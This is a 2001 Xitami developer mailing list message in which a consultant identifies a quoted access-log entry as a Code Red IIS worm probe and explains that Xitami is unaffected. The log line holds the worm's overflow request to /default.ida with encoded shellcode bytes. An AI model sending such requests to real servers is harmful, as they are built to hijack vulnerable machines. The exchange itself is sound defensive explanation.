[Xitami-Dev] Weird stuff

[Ewen McNeill]

In message <200108031742.f73HgvX25608@cirrus.netspace.net.au>, "Rob Judd" writes
:
>I know this isn't related to Xitami, but I'm stuck. Anyone recognise 
>what this might be? [....]
>61.32.34.140 - - [04/Aug/2001:02:38:36 +1000] "GET /
>default.ida?NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
>NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
>NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
>NNNNNNNNNNNNNNNNNNNNNNN%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801
>%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53f
>f%u0078%u0000%u00=a%20 HTTP/1.0" 404 -1 "" ""

It's the Code Red IIS Worm probes.  It doesn't bother checking webserver
types or anything, it just tries to exploit the server.  Xitami just
claims it doesn't know anything about it, hence no problems.

Expect it to become more common before it gets better -- in theory
there's another 15 days or so of spreading attempts left.

Ewen

-- 
Ewen McNeill, Technical Consultant, iMatix Corporation  www.imatix.com